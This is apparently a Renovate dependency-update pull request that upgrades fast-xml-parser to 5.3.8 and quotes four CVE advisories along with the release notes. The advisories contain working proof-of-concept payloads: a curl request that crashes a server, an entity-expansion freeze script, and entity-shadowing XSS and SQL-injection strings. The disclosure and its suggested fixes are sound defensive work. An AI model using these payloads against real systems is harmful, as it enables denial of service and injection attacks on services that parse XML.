chore(deps): Update dependency fast-xml-parser to v5.3.8 [SECURITY] (next)

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
fast-xml-parser	5.2.5 → 5.3.8

GitHub Vulnerability Alerts

CVE-2026-25128

Summary

A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., &#​9999999; or �). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.

Details

The vulnerability exists in /src/xmlparser/OrderedObjParser.js at lines 44-45:

"num_dec": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) },
"num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) },

The String.fromCodePoint() method throws a RangeError when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this:

• [0-9]{1,7} matches up to 9,999,999
• [0-9a-fA-F]{1,6} matches up to 0xFFFFFF (16,777,215)

The entity replacement in replaceEntitiesValue() (line 452) has no try-catch:

val = val.replace(entity.regex, entity.val);

This causes the RangeError to propagate uncaught, crashing the parser and any application using it.

PoC

Setup

Create a directory with these files:

poc/
├── package.json
├── server.js

package.json

{ "dependencies": { "fast-xml-parser": "^5.3.3" } }

server.js

const http = require('http');
const { XMLParser } = require('fast-xml-parser');

const parser = new XMLParser({ processEntities: true, htmlEntities: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/parse') {
    let body = '';
    req.on('data', c => body += c);
    req.on('end', () => {
      const result = parser.parse(body);  // No try-catch - will crash!
      res.end(JSON.stringify(result));
    });
  } else {
    res.end('POST /parse with XML body');
  }
}).listen(3000, () => console.log('http://localhost:3000'));

Run

# Setup
npm install

# Terminal 1: Start server
node server.js

# Terminal 2: Send malicious payload (server will crash)
curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>&#&#8203;9999999;</root>' http://localhost:3000/parse

Result

Server crashes with:

RangeError: Invalid code point 9999999

Alternative Payloads

<!-- Hex variant -->
<?xml version="1.0"?><root>&#xFFFFFF;</root>

<!-- In attribute -->
<?xml version="1.0"?><root attr="&#&#8203;9999999;"/>

Impact

Denial of Service (DoS):* Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:

• API servers accepting XML payloads
• File processors parsing uploaded XML files
• Message queues consuming XML messages
• RSS/Atom feed parsers
• SOAP/XML-RPC services

A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.

CVE-2026-26278

Summary

The XML parser can be forced to do an unlimited amount of entity expansion. With a very small XML input, it’s possible to make the parser spend seconds or even minutes processing a single request, effectively freezing the application.

Details

There is a check in DocTypeReader.js that tries to prevent entity expansion attacks by rejecting entities that reference other entities (it looks for & inside entity values). This does stop classic “Billion Laughs” payloads.

However, it doesn’t stop a much simpler variant.

If you define one large entity that contains only raw text (no & characters) and then reference it many times, the parser will happily expand it every time. There is no limit on how large the expanded result can become, or how many replacements are allowed.

The problem is in replaceEntitiesValue() inside OrderedObjParser.js. It repeatedly runs val.replace() in a loop, without any checks on total output size or execution cost. As the entity grows or the number of references increases, parsing time explodes.

Relevant code:

DocTypeReader.js (lines 28–33): entity registration only checks for &

OrderedObjParser.js (lines 439–458): entity replacement loop with no limits

PoC

const { XMLParser } = require('fast-xml-parser');

const entity = 'A'.repeat(1000);
const refs = '&big;'.repeat(100);
const xml = `<!DOCTYPE foo [<!ENTITY big "${entity}">]><root>${refs}</root>`;

console.time('parse');
new XMLParser().parse(xml); // ~4–8 seconds for ~1.3 KB of XML
console.timeEnd('parse');

// 5,000 chars × 100 refs takes 200+ seconds
// 50,000 chars × 1,000 refs will hang indefinitely

Impact

This is a straightforward denial-of-service issue.

Any service that parses user-supplied XML using the default configuration is vulnerable. Since Node.js runs on a single thread, the moment the parser starts expanding entities, the event loop is blocked. While this is happening, the server can’t handle any other requests.

In testing, a payload of only a few kilobytes was enough to make a simple HTTP server completely unresponsive for several minutes, with all other requests timing out.

Workaround

Avoid using DOCTYPE parsing by processEntities: false option.

CVE-2026-25896

Entity encoding bypass via regex injection in DOCTYPE entity names

Summary

A dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.

Details

The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed . (period), which is valid in XML names per the W3C spec.

In DocTypeReader.js, entity names are passed directly to RegExp():

entities[entityName] = {
    regx: RegExp(`&${entityName};`, "g"),
    val: val
};

An entity named l. produces the regex /&l.;/g where . matches any character, including the t in <. Since DOCTYPE entities are replaced before built-in entities, this shadows < entirely.

The same issue exists in OrderedObjParser.js:81 (addExternalEntities), and in the v6 codebase - EntitiesParser.js has a validateEntityName function with a character blacklist, but . is not included:

// v6 EntitiesParser.js line 96
const specialChar = "!?\\/[]$%{}^&*()<>|+";  // no dot

Shadowing all 5 built-in entities

Entity name	Regex created	Shadows
l.	/&l.;/g	<
g.	/&g.;/g	>
am.	/&am.;/g	&
quo.	/&quo.;/g	"
apo.	/&apo.;/g	'

PoC

const { XMLParser } = require("fast-xml-parser");

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY l. "<img src=x onerror=alert(1)>">
]>
<root>
  <text>Hello &lt;b&gt;World&lt;/b&gt;</text>
</root>`;

const result = new XMLParser().parse(xml);
console.log(result.root.text);
// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>

No special parser options needed - processEntities: true is the default.

When an app renders result.root.text in a page (e.g. innerHTML, template interpolation, SSR), the injected <img onerror> fires.

& can be shadowed too:

const xml2 = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY am. "'; DROP TABLE users;--">
]>
<root>SELECT * FROM t WHERE name='O&amp;Brien'</root>`;

const r = new XMLParser().parse(xml2);
console.log(r.root);
// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'

Impact

This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.

• Default config, no special options
• Attacker can replace any < / > / & / " / ' with arbitrary strings
• Direct XSS vector when parsed XML content is rendered in a page
• v5 and v6 both affected

Suggested fix

Escape regex metacharacters before constructing the replacement regex:

const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
entities[entityName] = {
    regx: RegExp(`&${escaped};`, "g"),
    val: val
};

For v6, add . to the blacklist in validateEntityName:

const specialChar = "!?\\/[].{}^&*()<>|+";

Severity

CWE-185 (Incorrect Regular Expression)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)

Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.

CVE-2026-27942

Impact

Application crashes with stack overflow when user use XML builder with prserveOrder:true for following or similar input:

[{
    'foo': [
        { 'bar': [{ '@​_V': 'baz' }] }
    ]
}]

Cause: arrToStr was not validating if the input is an array or a string and treating all non-array values as text content.
What kind of vulnerability is it? Who is impacted?

Patches

Yes, in 5.3.8 and 4.5.4.

Workarounds

Use XML builder with preserveOrder:false or check the input data before passing to builder.

---

Release Notes

NaturalIntelligence/fast-xml-parser (fast-xml-parser)

v5.3.8: handle non-array input for XML builder && support maxNestedTags

Compare Source

• support maxNestedTags
• handle non-array input for XML builder when preserveOrder is true (By Angelo Coetzee)
• save use of js properies
  Full Changelog: NaturalIntelligence/fast-xml-parser@v5.3.7...v5.3.8

v5.3.7: CJS typing fix

Compare Source

What's Changed

• Unexport X2jOptions at declaration site by @​Drarig29 in #​787

New Contributors

• @​Drarig29 made their first contribution in #​787

Full Changelog: NaturalIntelligence/fast-xml-parser@v5.3.6...v5.3.7

v5.3.6: Entity security and performance

Compare Source

• Improve security and performance of entity processing
  • new options maxEntitySize, maxExpansionDepth, maxTotalExpansions, maxExpandedLength, allowedTags,tagFilter
  • fast return when no edtity is present
  • improvement replacement logic to reduce number of calls

Full Changelog: NaturalIntelligence/fast-xml-parser@v5.3.5...v5.3.6

v5.3.5

Compare Source

v5.3.4: fix: handle HTML numeric and hex entities when out of range

Compare Source

v5.3.3: bug fix and performance improvements

Compare Source

• fix #​775: transformTagName with allowBooleanAttributes adds an unnecessary attribute
• Performance improvement for stopNodes (By Maciek Lamberski)

v5.3.2

Compare Source

v5.3.1

Compare Source

v5.3.0

Compare Source

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next-core    Run #11961

Run Properties:   Passed #11961  •  b3264a65f5 ℹ️: Merge 6e8a4fd6c73cfd7f3bd9891ba2dee40114dd9e60 into f3386823e092033445871a2d5f7a...

Project	next-core
Branch Review	renovate/next-npm-fast-xml-parser-vulnerability
Run status	Passed #11961
Run duration	00m 24s
Commit	b3264a65f5 ℹ️: Merge 6e8a4fd6c73cfd7f3bd9891ba2dee40114dd9e60 into f3386823e092033445871a2d5f7a...
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